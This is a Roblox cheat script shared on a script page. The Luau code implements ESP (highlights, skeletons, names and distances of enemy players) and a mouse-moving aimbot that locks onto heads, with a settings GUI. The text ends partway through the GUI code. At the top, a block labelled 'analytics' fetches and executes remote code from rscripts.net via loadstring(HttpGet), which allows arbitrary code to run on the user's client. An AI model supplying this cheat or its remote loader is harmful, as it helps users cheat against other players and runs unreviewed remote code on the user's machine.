Aimbot + Esp (opensource)

Script source Luau

Copy Script

-- [[ BloxScripts Risk Notice ]]
-- This script has not been verified by BloxScripts.fun. Deal with caution.
--
-- Stay safe:
--   • Never log in on unofficial Roblox sites or lookalike domains.
--   • Real Roblox links use roblox.com (check the .com ending).
--   • Treat fake Roblox login / "claim reward" pages as phishing.
-- [[ End BloxScripts Risk Notice ]]

--[[rscripts:analytics:start]]
-- Script analytics (enabled by the creator on rscripts.net).
-- Runs in its own thread and cannot affect the script below.
task.spawn(function()
	pcall(function()
		loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6adfb57a3e43a26ae1088ab4"))()
	end)
end)
--[[rscripts:analytics:end]]

--=============================================================
--  WARFARE ESP + AIMBOT  |  standalone
--=============================================================
local Players          = game:GetService("Players")
local RunService       = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")

local LP     = Players.LocalPlayer
local Camera = workspace.CurrentCamera

--───────────────────────────────────────────────────────────
-- Executor helpers
--───────────────────────────────────────────────────────────
local EX = {
    getgenv = (function()
        local ok, v = pcall(function() return getgenv end)
        return ok and type(v) == "function" and v or nil
    end)(),
    gethui = (function()
        local ok, v = pcall(function() return gethui end)
        return ok and type(v) == "function" and v or nil
    end)(),
    mousemoverel = (function()
        local ok, v = pcall(function() return mousemoverel end)
        return ok and type(v) == "function" and v or nil
    end)(),
    mousemoveabs = (function()
        local ok, v = pcall(function() return mousemoveabs end)
        return ok and type(v) == "function" and v or nil
    end)(),
}

local HAS_DRAWING = pcall(function()
    local d = Drawing.new("Line"); d:Remove()
end)

-- Startup diagnostic
task.spawn(function()
    task.wait(1)
    print("[WarfareESP] diagnostics:")
    print("  Camera:       " .. (workspace.CurrentCamera and "OK" or "MISSING"))
    print("  Drawing:      " .. (HAS_DRAWING and "OK" or "MISSING"))
    print("  mousemoverel: " .. (EX.mousemoverel and "OK" or "missing"))
    print("  mousemoveabs: " .. (EX.mousemoveabs and "OK" or "missing"))
end)

workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
    Camera = workspace.CurrentCamera
end)

--───────────────────────────────────────────────────────────
-- CONFIG
--───────────────────────────────────────────────────────────
local Config = {
    enabled             = true,     -- ESP master switch
    teamCheck           = true,     -- ESP team check
    teamAttr            = "Team",
    showHighlight       = true,
    showSelection       = false,
    showSkeleton        = true,
    showName            = true,
    showDistance        = true,
    maxDistance         = 1000,
    fillTransparency    = 0.7,
    outlineTransparency = 0,
    selectionThickness  = 0.03,
    skeletonThickness   = 2,
    fillColor           = Color3.fromRGB(255, 60, 60),
    outlineColor        = Color3.fromRGB(255, 255, 255),
    teamColors = {
        ["Red Unit"]  = { fill = Color3.fromRGB(255, 80, 80),  outline = Color3.fromRGB(255, 190, 190) },
        ["Blue Unit"] = { fill = Color3.fromRGB(80, 150, 255), outline = Color3.fromRGB(190, 215, 255) },
    },
    toggleKey = Enum.KeyCode.Home,

    -- NEW
    aimbot = {
        enabled     = false,
        keybind     = Enum.UserInputType.MouseButton2,
        teamCheck   = true,
        preferHead  = true,          -- fall back to HRP if no Head
        fov         = 150,           -- pixels (radius)
        smoothness  = 4,             -- 1 = instant, 20 = very slow
        maxDistance = 500,
        visibleOnly = false,
        showFov     = true,
        debug       = false,
    },
}

--───────────────────────────────────────────────────────────
-- Skeleton bones + aliases
--───────────────────────────────────────────────────────────
local R15_BONES = {
    { "Head",        "UpperTorso" },
    { "UpperTorso",  "LowerTorso" },
    { "UpperTorso",  "LeftUpperArm"  }, { "LeftUpperArm",  "LeftLowerArm"  }, { "LeftLowerArm",  "LeftHand"  },
    { "UpperTorso",  "RightUpperArm" }, { "RightUpperArm", "RightLowerArm" }, { "RightLowerArm", "RightHand" },
    { "LowerTorso",  "LeftUpperLeg"  }, { "LeftUpperLeg",  "LeftLowerLeg"  }, { "LeftLowerLeg",  "LeftFoot"  },
    { "LowerTorso",  "RightUpperLeg" }, { "RightUpperLeg", "RightLowerLeg" }, { "RightLowerLeg", "RightFoot" },
}
local R6_BONES = {
    { "Head",  "Torso" },
    { "Torso", "Left Arm"  },
    { "Torso", "Right Arm" },
    { "Torso", "Left Leg"  },
    { "Torso", "Right Leg" },
}

local PART_ALIASES = {
    Head             = { "head" },
    UpperTorso       = { "uppertorso", "chest", "torso", "body" },
    LowerTorso       = { "lowertorso", "pelvis", "hips" },
    Torso            = { "torso", "chest", "body", "uppertorso" },
    HumanoidRootPart = { "humanoidrootpart", "root" },
    LeftUpperArm     = { "leftupperarm", "left arm", "leftarm", "larm" },
    RightUpperArm    = { "rightupperarm", "right arm", "rightarm", "rarm" },
    LeftLowerArm     = { "leftlowerarm", "left forearm", "leftforearm" },
    RightLowerArm    = { "rightlowerarm", "right forearm", "rightforearm" },
    LeftHand         = { "lefthand" },
    RightHand        = { "righthand" },
    LeftUpperLeg     = { "leftupperleg", "left leg", "leftleg", "lleg", "legs", "leg" },
    RightUpperLeg    = { "rightupperleg", "right leg", "rightleg", "rleg" },
    LeftLowerLeg     = { "leftlowerleg", "left shin" },
    RightLowerLeg    = { "rightlowerleg", "right shin" },
    LeftFoot         = { "leftfoot" },
    RightFoot        = { "rightfoot" },
}

--───────────────────────────────────────────────────────────
-- Part resolution
--───────────────────────────────────────────────────────────
local function isAccessoryPart(part)
    local p = part
    while p do
        if p:IsA("Accessory") then return true end
        p = p.Parent
    end
    return part.Name == "Handle"
end

local function resolveToPart(node)
    if not node then return nil end
    if node:IsA("BasePart") then return node end
    if node:IsA("Model") or node:IsA("Folder") then
        local pp = node:IsA("Model") and node.PrimaryPart
        if pp then return pp end
        for _, d in ipairs(node:GetDescendants()) do
            if d:IsA("BasePart") and not isAccessoryPart(d) then return d end
        end
    end
    return nil
end

local function resolvePart(model, canonical)
    if not model then return nil end
    local direct = model:FindFirstChild(canonical)
    if direct then
        local p = resolveToPart(direct)
        if p then return p end
    end
    local aliases = PART_ALIASES[canonical] or { string.lower(canonical) }
    for _, alias in ipairs(aliases) do
        local lowered = string.lower(alias)
        for _, child in ipairs(model:GetChildren()) do
            if string.lower(child.Name) == lowered then
                local p = resolveToPart(child)
                if p then return p end
            end
        end
    end
    return nil
end

--───────────────────────────────────────────────────────────
-- State
--───────────────────────────────────────────────────────────
local trackedModel   = {}
local highlights     = {}
local selections     = {}
local skeletons      = {}
local texts          = {}
local connections    = {}
local terminated     = false

local aimHeld        = false
local fovCircle      = nil
local lastAimTarget  = nil

local function track(c)
    if terminated then pcall(function() c:Disconnect() end); return c end
    table.insert(connections, c)
    return c
end

local ADORN_PARENT = (function()
    if EX.gethui then
        local ok, hui = pcall(EX.gethui)
        if ok and hui then return hui end
    end
    return workspace
end)()

--───────────────────────────────────────────────────────────
-- Helpers
--───────────────────────────────────────────────────────────
local function getTeam(plr)
    if not plr then return nil end
    local ok, v = pcall(function() return plr:GetAttribute(Config.teamAttr) end)
    return ok and v or nil
end

local function sameTeam(plr)
    local mine = getTeam(LP)
    if mine == nil then return false end
    local theirs = getTeam(plr)
    if theirs == nil then return false end
    return mine == theirs
end

local function isEnemy(plr)
    if plr == LP then return false end
    if not Config.teamCheck then return true end
    return not sameTeam(plr)
end

local function getModel(plr)
    if not plr then return nil end
    local m = workspace:FindFirstChild(plr.Name)
    if m then return m end
    if plr.Character and plr.Character.Parent then return plr.Character end
    return nil
end

local function getKeyPart(model)
    if not model then return nil end
    return resolvePart(model, "Head")
        or resolvePart(model, "UpperTorso")
        or resolvePart(model, "Torso")
        or resolvePart(model, "HumanoidRootPart")
end

-- Aimbot target selection: respects preferHead, falls back through aliases
local function getAimPart(model)
    if not model then return nil end
    local order
    if Config.aimbot.preferHead then
        order = { "Head", "UpperTorso", "Torso", "HumanoidRootPart" }
    else
        order = { "HumanoidRootPart", "UpperTorso", "Torso", "Head" }
    end
    for _, name in ipairs(order) do
        local p = resolvePart(model, name)
        if p then return p end
    end
    -- last resort: any BasePart
    for _, d in ipairs(model:GetDescendants()) do
        if d:IsA("BasePart") and not isAccessoryPart(d) then return d end
    end
    return nil
end

local function getColor(plr)
    local team = getTeam(plr)
    if team and Config.teamColors[team] then
        return Config.teamColors[team].fill, Config.teamColors[team].outline
    end
    return Config.fillColor, Config.outlineColor
end

local function worldToScreen(pos)
    local cam = workspace.CurrentCamera
    if not cam then return nil end
    local v, on = cam:WorldToViewportPoint(pos)
    if not on then return nil end
    return Vector2.new(v.X, v.Y)
end

local function getMyPos()
    local char = LP.Character
    local root = char and (char:FindFirstChild("HumanoidRootPart")
        or char:FindFirstChild("UpperTorso")
        or char:FindFirstChild("Torso"))
    if root then return root.Position end
    local cam = workspace.CurrentCamera
    if cam then return cam.CFrame.Position end
    return Vector3.zero
end

local function isVisible(targetPart, targetModel)
    local cam = workspace.CurrentCamera
    if not cam then return false end
    local origin = cam.CFrame.Position
    local dir = targetPart.Position - origin
    if dir.Magnitude < 0.1 then return true end
    local params = RaycastParams.new()
    params.FilterType = Enum.RaycastFilterType.Exclude
    local exclude = {}
    if LP.Character then table.insert(exclude, LP.Character) end
    if targetModel and targetModel ~= LP.Character then table.insert(exclude, targetModel) end
    params.FilterDescendantsInstances = exclude
    params.IgnoreWater = true
    return workspace:Raycast(origin, dir, params) == nil
end

local function moveMouseBy(dx, dy)
    if EX.mousemoverel then
        local ok = pcall(EX.mousemoverel, dx, dy)
        if ok then return true end
    end
    if EX.mousemoveabs then
        local cur = UserInputService:GetMouseLocation()
        local ok = pcall(EX.mousemoveabs, cur.X + dx, cur.Y + dy)
        if ok then return true end
    end
    return false
end

--───────────────────────────────────────────────────────────
-- Skeleton
--───────────────────────────────────────────────────────────
local function destroySkeleton(plr)
    local sk = skeletons[plr]
    if not sk then return end
    for _, e in ipairs(sk.entries) do
        pcall(function() e.line:Remove() end)
    end
    skeletons[plr] = nil
end

local function newLine()
    local l = Drawing.new("Line")
    l.Thickness    = Config.skeletonThickness
    l.Transparency = 1
    l.Visible      = false
    return l
end

local function buildSkeleton(plr, model)
    if not HAS_DRAWING then return nil end
    local entries = {}

    local function addBone(pa, pb)
        if not pa or not pb or pa == pb then return end
        for _, e in ipairs(entries) do
            if (e.partA == pa and e.partB == pb)
            or (e.partA == pb and e.partB == pa) then return end
        end
        table.insert(entries, { line = newLine(), partA = pa, partB = pb })
    end

    local boneSet
    if model:FindFirstChild("UpperTorso") then boneSet = R15_BONES
    elseif model:FindFirstChild("Torso") then boneSet = R6_BONES end
    if boneSet then
        for _, pair in ipairs(boneSet) do
            addBone(resolvePart(model, pair[1]), resolvePart(model, pair[2]))
        end
    end

    if #entries < 3 then
        local aliasBones = {
            { "Head", "UpperTorso" }, { "Head", "Torso" },
            { "UpperTorso", "LowerTorso" }, { "Torso", "LowerTorso" },
            { "UpperTorso", "LeftUpperArm" },  { "Torso", "LeftUpperArm" },
            { "UpperTorso", "RightUpperArm" }, { "Torso", "RightUpperArm" },
            { "LeftUpperArm", "LeftLowerArm" }, { "RightUpperArm", "RightLowerArm" },
            { "LeftLowerArm", "LeftHand" },      { "RightLowerArm", "RightHand" },
            { "LowerTorso", "LeftUpperLeg" },    { "LowerTorso", "RightUpperLeg" },
            { "Torso", "LeftUpperLeg" },         { "Torso", "RightUpperLeg" },
            { "LeftUpperLeg", "LeftLowerLeg" },  { "RightUpperLeg", "RightLowerLeg" },
            { "LeftLowerLeg", "LeftFoot" },      { "RightLowerLeg", "RightFoot" },
        }
        for _, pair in ipairs(aliasBones) do
            addBone(resolvePart(model, pair[1]), resolvePart(model, pair[2]))
        end
    end

    if #entries == 0 then
        local hub = resolvePart(model, "UpperTorso")
            or resolvePart(model, "Torso")
            or resolvePart(model, "HumanoidRootPart")
        if not hub then
            for _, d in ipairs(model:GetDescendants()) do
                if d:IsA("BasePart") and not isAccessoryPart(d) then
                    if not hub or d.Position.Y > hub.Position.Y then hub = d end
                end
            end
        end
        if hub then
            local head = resolvePart(model, "Head")
            if head and head ~= hub then addBone(head, hub) end
            for _, d in ipairs(model:GetDescendants()) do
                if d:IsA("BasePart") and d ~= hub and d ~= head
                and not isAccessoryPart(d) then
                    addBone(hub, d)
                end
            end
        end
    end

    if #entries == 0 then return nil end
    return { model = model, entries = entries }
end

local function hideSkeletonLines(plr)
    local sk = skeletons[plr]
    if not sk then return end
    for _, e in ipairs(sk.entries) do e.line.Visible = false end
end

local function hideAllSkeletons()
    for plr in pairs(skeletons) do hideSkeletonLines(plr) end
end

local function updateSkeleton(plr, model, color)
    if not Config.showSkeleton then
        hideSkeletonLines(plr); return
    end
    local sk = skeletons[plr]
    if not sk or sk.model ~= model then
        destroySkeleton(plr)
        sk = buildSkeleton(plr, model)
        skeletons[plr] = sk
    end
    if not sk then return end
    sk.model = model
    for _, e in ipairs(sk.entries) do
        local pa, pb = e.partA, e.partB
        if pa and pb and pa.Parent and pb.Parent then
            local sa, sb = worldToScreen(pa.Position), worldToScreen(pb.Position)
            if sa and sb then
                e.line.From = sa; e.line.To = sb
                e.line.Color = color
                e.line.Thickness = Config.skeletonThickness
                e.line.Visible = true
            else
                e.line.Visible = false
            end
        else
            e.line.Visible = false
        end
    end
end

--───────────────────────────────────────────────────────────
-- ESP object lifecycle
--───────────────────────────────────────────────────────────
local function destroyPlayerESP(plr)
    if highlights[plr] then
        pcall(function() highlights[plr]:Destroy() end)
        highlights[plr] = nil
    end
    if selections[plr] then
        for _, sb in ipairs(selections[plr]) do pcall(function() sb:Destroy() end) end
        selections[plr] = nil
    end
    if texts[plr] then
        for _, t in pairs(texts[plr]) do pcall(function() t:Remove() end) end
        texts[plr] = nil
    end
    destroySkeleton(plr)
    trackedModel[plr] = nil
end

local function destroyAllESP()
    for plr in pairs(trackedModel) do destroyPlayerESP(plr) end
    for plr in pairs(skeletons) do destroySkeleton(plr) end
    trackedModel, highlights, selections, skeletons, texts = {}, {}, {}, {}, {}
end

local function ensureHighlight(plr, model, fill, outline)
    local hl = highlights[plr]
    if hl and hl.Parent and hl.Adornee == model then
        hl.FillColor = fill; hl.OutlineColor = outline; hl.Enabled = true
        return hl
    end
    if hl then pcall(function() hl:Destroy() end) end
    hl = Instance.new("Highlight")
    hl.Name = "WarfareESP_HL"
    hl.Adornee = model
    hl.FillColor = fill
    hl.FillTransparency = Config.fillTransparency
    hl.OutlineColor = outline
    hl.OutlineTransparency = Config.outlineTransparency
    hl.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
    hl.Parent = ADORN_PARENT
    highlights[plr] = hl
    return hl
end

local function ensureSelections(plr, model, color)
    local existing = selections[plr]
    local parts = {}
    for _, d in ipairs(model:GetDescendants()) do
        if d:IsA("BasePart") then table.insert(parts, d) end
    end
    local rebuild = (not existing) or (#existing ~= #parts)
    if not rebuild then
        for i, sb in ipairs(existing) do
            if not sb.Adornee or sb.Adornee ~= parts[i] then rebuild = true; break end
        end
    end
    if rebuild then
        if existing then
            for _, sb in ipairs(existing) do pcall(function() sb:Destroy() end) end
        end
        existing = {}
        for _, part in ipairs(parts) do
            local sb = Instance.new("SelectionBox")
            sb.Name = "WarfareESP_Sel"
            sb.Adornee = part
            sb.Color3 = color
            sb.LineThickness = Config.selectionThickness
            sb.SurfaceTransparency = 1
            sb.Parent = ADORN_PARENT
            table.insert(existing, sb)
        end
        selections[plr] = existing
    else
        for _, sb in ipairs(existing) do
            sb.Color3 = color
            sb.LineThickness = Config.selectionThickness
        end
    end
    return selections[plr]
end

local function ensureTexts(plr)
    local t = texts[plr]
    if t then return t end
    t = {}
    if HAS_DRAWING then
        t.name = Drawing.new("Text")
        t.name.Size = 14; t.name.Center = true; t.name.Outline = true
        t.name.Font = 2; t.name.Color = Color3.fromRGB(255,255,255); t.name.Visible = false
        t.dist = Drawing.new("Text")
        t.dist.Size = 12; t.dist.Center = true; t.dist.Outline = true
        t.dist.Font = 2; t.dist.Color = Color3.fromRGB(200,200,200); t.dist.Visible = false
    end
    texts[plr] = t
    return t
end

--───────────────────────────────────────────────────────────
-- Per-player ESP update
--───────────────────────────────────────────────────────────
local function updatePlayer(plr, myPos)
    if plr == LP then return end
    if not isEnemy(plr) then destroyPlayerESP(plr); return end

    local model = getModel(plr)
    if not model then destroyPlayerESP(plr); return end

    local keyPart = getKeyPart(model)
    if not keyPart then destroyPlayerESP(plr); return end

    local dist = (keyPart.Position - myPos).Magnitude
    if dist > Config.maxDistance then destroyPlayerESP(plr); return end

    if trackedModel[plr] ~= model then
        destroyPlayerESP(plr)
        trackedModel[plr] = model
    end

    local fill, outline = getColor(plr)

    if Config.showHighlight then
        ensureHighlight(plr, model, fill, outline)
    elseif highlights[plr] then
        highlights[plr].Enabled = false
    end

    if Config.showSelection then
        ensureSelections(plr, model, fill)
    elseif selections[plr] then
        for _, sb in ipairs(selections[plr]) do pcall(function() sb:Destroy() end) end
        selections[plr] = nil
    end

    updateSkeleton(plr, model, fill)

    if HAS_DRAWING then
        local t = ensureTexts(plr)
        if Config.showName and t.name then
            local sp = worldToScreen(keyPart.Position + Vector3.new(0, 0.5, 0))
            if sp then
                t.name.Position = Vector2.new(sp.X, sp.Y - 20)
                t.name.Text = plr.Name
                t.name.Visible = true
            else t.name.Visible = false end
        elseif t.name then t.name.Visible = false end

        if Config.showDistance and t.dist then
            local sp = worldToScreen(keyPart.Position - Vector3.new(0, 2.5, 0))
            if sp then
                t.dist.Position = Vector2.new(sp.X, sp.Y + 4)
                t.dist.Text = string.format("[%d]", math.floor(dist))
                t.dist.Visible = true
            else t.dist.Visible = false end
        elseif t.dist then t.dist.Visible = false end
    end
end

--───────────────────────────────────────────────────────────
-- AIMBOT
--───────────────────────────────────────────────────────────
local aimDebugPrint = function(msg)
    if Config.aimbot.debug then print("[WarfareAim] " .. msg) end
end

local function findBestTarget()
    if not Config.aimbot.enabled or not aimHeld then return nil end
    local mouse = UserInputService:GetMouseLocation()
    local myPos = getMyPos()
    local best, bestDist = nil, math.huge
    local fov = Config.aimbot.fov
    local scanned, withPart = 0, 0

    for _, plr in ipairs(Players:GetPlayers()) do
        if plr == LP then continue end
        if Config.aimbot.teamCheck and sameTeam(plr) then continue end

        local model = getModel(plr)
        if not model then continue end
        scanned = scanned + 1

        local hum = model:FindFirstChildOfClass("Humanoid")
        if hum and hum.Health <= 0 then continue end

        local part = getAimPart(model)
        if not part then
            aimDebugPrint(("skip %s — no part"):format(plr.Name))
            continue
        end
        withPart = withPart + 1

        local worldDist = (part.Position - myPos).Magnitude
        if worldDist > Config.aimbot.maxDistance then continue end

        if Config.aimbot.visibleOnly and not isVisible(part, model) then
            aimDebugPrint(("skip %s — occluded"):format(plr.Name))
            continue
        end

        local sp = worldToScreen(part.Position)
        if not sp then continue end

        local d = (sp - mouse).Magnitude
        if d > fov then
            aimDebugPrint(("skip %s — %.1fpx > %.0f"):format(plr.Name, d, fov))
            continue
        end

        if d < bestDist then
            bestDist = d
            best = { part = part, screen = sp, name = plr.Name }
        end
    end

    if best then
        aimDebugPrint(("LOCK %s @ %.1fpx"):format(best.name, bestDist))
    else
        aimDebugPrint(("no lock — scanned=%d parts=%d"):format(scanned, withPart))
    end
    return best
end

local function updateAimbot()
    if not Config.aimbot.enabled or not aimHeld then
        lastAimTarget = nil
        return
    end
    local target = findBestTarget()
    if not target then
        lastAimTarget = nil
        return
    end
    lastAimTarget = target
    local mouse = UserInputService:GetMouseLocation()
    local dx = target.screen.X - mouse.X
    local dy = target.screen.Y - mouse.Y
    local smooth = math.max(1, Config.aimbot.smoothness)
    if math.abs(dx) > 0.5 or math.abs(dy) > 0.5 then
        moveMouseBy(dx / smooth, dy / smooth)
    end
end

--───────────────────────────────────────────────────────────
-- Aimbot FOV circle
--───────────────────────────────────────────────────────────
if HAS_DRAWING then
    fovCircle = Drawing.new("Circle")
    fovCircle.Thickness     = 1.5
    fovCircle.NumSides      = 80
    fovCircle.Filled        = false
    fovCircle.Color         = Color3.fromRGB(150, 85, 235)
    fovCircle.Transparency  = 0.9
    fovCircle.Visible       = false
end

--───────────────────────────────────────────────────────────
-- Input tracking
--───────────────────────────────────────────────────────────
track(UserInputService.InputBegan:Connect(function(i, gpe)
    if terminated or gpe then return end
    if i.UserInputType == Config.aimbot.keybind then
        aimHeld = true
    end
end))

track(UserInputService.InputEnded:Connect(function(i)
    if terminated then return end
    if i.UserInputType == Config.aimbot.keybind then
        aimHeld = false
        lastAimTarget = nil
    end
end))

--───────────────────────────────────────────────────────────
-- GUI
--───────────────────────────────────────────────────────────
local COL = {
    bg      = Color3.fromRGB(16, 12, 22),
    panel   = Color3.fromRGB(26, 18, 36),
    row     = Color3.fromRGB(30, 22, 40),
    accent  = Color3.fromRGB(150, 85, 235),
    accent2 = Color3.fromRGB(180, 120, 255),
    gray    = Color3.fromRGB(70, 62, 88),
    text    = Color3.fromRGB(232, 226, 245),
    dim     = Color3.fromRGB(150, 145, 175),
    danger  = Color3.fromRGB(215, 70, 100),
}

local function make(class, props)
    local i = Instance.new(class)
    for k, v in pairs(props or {}) do
        if k ~= "Parent" then i[k] = v end
    end
    if props and props.Parent then i.Parent = props.Parent end
    return i
end
local function corner(p, r)
    return make("UICorner", { Parent = p, CornerRadius = UDim.new(0, r or 6) })
end
local function stroke(p, c, t)
    return make("UIStroke", { Parent = p, Color = c or COL.gray, Thickness = t or 1,
        ApplyStrokeMode = Enum.ApplyStrokeMode.Border })
end

local GUI_PARENT = (function()
    if EX.gethui then
        local ok, hui = pcall(EX.gethui)
        if ok and hui then return hui end
    end
    return LP:WaitForChild("PlayerGui")
end)()

local gui = make("ScreenGui", {
    Name = "WarfareESP_Gui", ResetOnSpawn = false,
    ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
    IgnoreGuiInset = true, Parent = GUI_PARENT,
})

local win = make("Frame", {
    Parent = gui, Active = true,
    Size = UDim2.new(0, 270, 0, 500),
    Position = UDim2.new(0.5, -135, 0.5, -250),
    BackgroundColor3 = COL.bg, BorderSizePixel = 0,
})
corner(win, 10); stroke(win, COL.gray, 1)

local head = make("Frame", {
    Parent = win, Size = UDim2.new(1, 0, 0, 34),
    BackgroundColor3 = COL.panel, BorderSizePixel = 0,
})
corner(head, 10)
make("Frame", {
    Parent = head, Size = UDim2.new(1, 0, 0, 10),
    Position = UDim2.new(0, 0, 1, -10),
    BackgroundColor3 = COL.panel, BorderSizePixel = 0,
})
make("TextLabel", {
    Parent = head, BackgroundTransparency = 1,
    Size = UDim2.new(1, -40, 1, 0), Position = UDim2.new(0, 14, 0, 0),
    Text = "WARFARE", TextColor3 = COL.text,
    Font = Enum.Font.GothamBold, TextSize = 13,
    TextXAlignment = Enum.TextXAlignment.Left,
})
local closeBtn = make("TextButton", {
    Parent = head, Size = UDim2.new(0, 22, 0, 22),
    Position = UDim2.new(1, -28, 0.5, -11),
    BackgroundColor3 = COL.row, BorderSizePixel = 0,
    Text = "×", TextColor3 = COL.text,
    Font = Enum.Font.GothamBold, TextSize = 16, AutoButtonColor = false,
})
corner(closeBtn, 5); stroke(closeBtn, COL.gray, 1)
closeBtn.MouseEnter:Connect(function() closeBtn.BackgroundColor3 = COL.danger end)
closeBtn.MouseLeave:Connect(function() closeBtn.BackgroundColor3 = COL.row end)

local body = make("ScrollingFrame", {
    Parent = win,
    Size = UDim2.new(1, -20, 1, -44),
    Position = UDim2.new(0, 10, 0, 40),
    BackgroundTransparency = 1, BorderSizePixel = 0,
    CanvasSize = UDim2.new(0, 0, 0, 0),
    AutomaticCanvasSize = Enum.AutomaticSize.Y,
    ScrollBarThickness = 4,
    ScrollBarImageColor3 = COL.accent,
})
make("UIListLayout", { Parent = body, Padding = UDim.new(0, 6),
    SortOrder = Enum.SortOrder.LayoutOrder })

local ORDER = 0
local function nextOrder() ORDER = ORDER + 1; return ORDER end

local function sectionLabel(text)
    make("TextLabel", {
        Parent = body, Size = UDim2.new(1, 0, 0, 20),
        BackgroundTransparency = 1,
        Text = text:upper(), TextColor3 = COL.accent2,
        Font = Enum.Font.GothamBold, TextSize = 10,
        TextXAlignment = Enum.TextXAlignment.Left,
        LayoutOrder = nextOrder(),
    })
end

local function makeToggle(label, default, onChange)
    local state = default
    local row = make("TextButton", {
        Parent = body, Size = UDim2.new(1, 0, 0, 30),
        BackgroundColor3 = COL.row, BorderSizePixel = 0,
        Text = "", AutoButtonColor = false, LayoutOrder = nextOrder(),
    })
    corner(row, 5); stroke(row, COL.gray, 1)

    make("TextLabel", {
        Parent = row, BackgroundTransparency = 1,
        Size = UDim2.new(1, -60, 1, 0), Position = UDim2.new(0, 10, 0, 0),
        Text = label, TextColor3 = COL.text,
        Font = Enum.Font.Gotham, TextSize = 12,
        TextXAlignment = Enum.TextXAlignment.Left,
    })

    local pill = make("Frame", {
        Parent = row, Size = UDim2.new(0, 34, 0, 18),
        Position = UDim2.new(1, -44, 0.5, -9),
        BackgroundColor3 = state and COL.accent or COL.gray, BorderSizePixel = 0,
    })
    corner(pill, 9)
    local knob = make("Frame", {
        Parent = pill, Size = UDim2.new(0, 14, 0, 14),
        Position = state and UDim2.new(1, -16, 0.5, -7) or UDim2.new(0, 2, 0.5, -7),
        BackgroundColor3 = COL.text, BorderSizePixel = 0,
    })
    corner(knob, 7)

    row.MouseButton1Click:Connect(function()
        if terminated then return end
        state = not state
        pill.BackgroundColor3 = state and COL.accent or COL.gray
        knob.Position = state and UDim2.new(1, -16, 0.5, -7) or UDim2.new(0, 2, 0.5, -7)
        onChange(state)
    end)
end

local function makeSlider(label, min, max, default, onChange)
    local value = default
    local row = make("Frame", {
        Parent = body, Size = UDim2.new(1, 0, 0, 44),
        BackgroundColor3 = COL.row, BorderSizePixel = 0,
        LayoutOrder = nextOrder(),
    })
    corner(row, 5); stroke(row, COL.gray, 1)

    make("TextLabel", {
        Parent = row, BackgroundTransparency = 1,
        Size = UDim2.new(1, -80, 0, 20), Position = UDim2.new(0, 10, 0, 2),
        Text = label, TextColor3 = COL.text,
        Font = Enum.Font.Gotham, TextSize = 12,
        TextXAlignment = Enum.TextXAlignment.Left,
    })
    local valLabel = make("TextLabel", {
        Parent = row, BackgroundTransparency = 1,
        Size = UDim2.new(0, 70, 0, 20), Position = UDim2.new(1, -80, 0, 2),
        Text = tostring(value), TextColor3 = COL.accent2,
        Font = Enum.Font.GothamBold, TextSize = 12,
        TextXAlignment = Enum.TextXAlignment.Right,
    })

    local trackF = make("Frame", {
        Parent = row, Size = UDim2.new(1, -20, 0, 4),
        Position = UDim2.new(0, 10, 0, 30),
        BackgroundColor3 = COL.gray, BorderSizePixel = 0,
    })
    corner(trackF, 2)
    local fill = make("Frame", {
        Parent = trackF, Size = UDim2.new(0, 0, 1, 0),
        BackgroundColor3 = COL.accent, BorderSizePixel = 0,
    })
    corner(fill, 2)
    local knob = make("Frame", {
        Parent = trackF, Size = UDim2.new(0, 12, 0, 12),
        Position = UDim2.new(0, -6, 0.5, -6),
        BackgroundColor3 = COL.text, BorderSizePixel = 0, ZIndex = 2,
    })
    corner(knob, 6)

    local function setValue(v, fire)
        v = math.clamp(v, min, max)
        value = v
        local a = (v - min) / (max - min)
        fill.Size = UDim2.new(a, 0, 1, 0)
        knob.Position = UDim2.new(a, -6, 0.5, -6)
        valLabel.Text = tostring(math.floor(v * 100 + 0.5) / 100)
        if fire and onChange then onChange(v) end
    end
    setValue(default, false)

    local dragging = false
    local hit = make("TextButton", {
        Parent = trackF, Size = UDim2.new(1, 0, 3, 0),
        Position = UDim2.new(0, 0, -1, 0),
        BackgroundTransparency = 1, Text = "",
    })

    local function updateFromInput(input)
        local rel = math.clamp(
            (input.Position.X - trackF.AbsolutePosition.X) / trackF.AbsoluteSize.X, 0, 1)
        setValue(min + rel * (max - min), true)
    end

    hit.InputBegan:Connect(function(i)
        if i.UserInputType == Enum.UserInputType.MouseButton1
        or i.UserInputType == Enum.UserInputType.Touch then
            dragging = true; updateFromInput(i)
        end
    end)
    track(UserInputService.InputChanged:Connect(function(i)
        if not dragging then return end
        if i.UserInputType == Enum.UserInputType.MouseMovement
        or i.UserInputType == Enum.UserInputType.Touch then
            updateFromInput(i)
        end
    end))
    track(UserInputService.InputEnded:Connect(function(i)
        if i.UserInputType == Enum.UserInputType.MouseButton1
        or i.UserInputType == Enum.UserInputType.Touch then
            dragging = false
        end
    end))
end

-- AIMBOT section
sectionLabel("Aimbot")
makeToggle("Aimbot Enabled", Config.aimbot.enabled, function(v)
    Config.aimbot.enabled = v
    if v and not (EX.mousemoverel or EX.mousemoveabs) then
        warn("[WarfareESP] No mouse-move function available — aimbot can't move the cursor.")
    end
end)
makeToggle("Aimbot Team Check", Config.aimbot.teamCheck, function(v) Config.aimbot.teamCheck = v end)
makeToggle("Prefer Head",        Config.aimbot.preferHead,  function(v) Config.aimbot.preferHead = v end)
makeToggle("Visible Only",       Config.aimbot.visibleOnly, function(v) Config.aimbot.visibleOnly = v end)
makeToggle("Show FOV Circle",    Config.aimbot.showFov,    function(v) Config.aimbot.showFov = v end)
makeToggle("Aim Debug (console)", Config.aimbot.debug,     function(v) Config.aimbot.debug = v end)
makeSlider("FOV Radius (px)", 20, 600, Config.aimbot.fov,        function(v) Config.aimbot.fov = v end)
makeSlider("Smoothness",       1, 20,  Config.aimbot.smoothness, function(v) Config.aimbot.smoothness = v end)

-- ESP section
sectionLabel("ESP")
makeToggle("ESP Enabled",      Config.enabled,       function(v) Config.enabled = v; if not v then destroyAllESP() end end)
makeToggle("ESP Team Check",   Config.teamCheck,     function(v) Config.teamCheck = v end)
makeToggle("Model Highlight",  Config.showHighlight, function(v) Config.showHighlight = v end)
makeToggle("Per-Part Boxes",   Config.showSelection, function(v) Config.showSelection = v end)
makeToggle("Skeleton ESP",     Config.showSkeleton,  function(v)
    Config.showSkeleton = v
    if not v then hideAllSkeletons() end
end)
makeToggle("Names",            Config.showName,      function(v) Config.showName = v end)
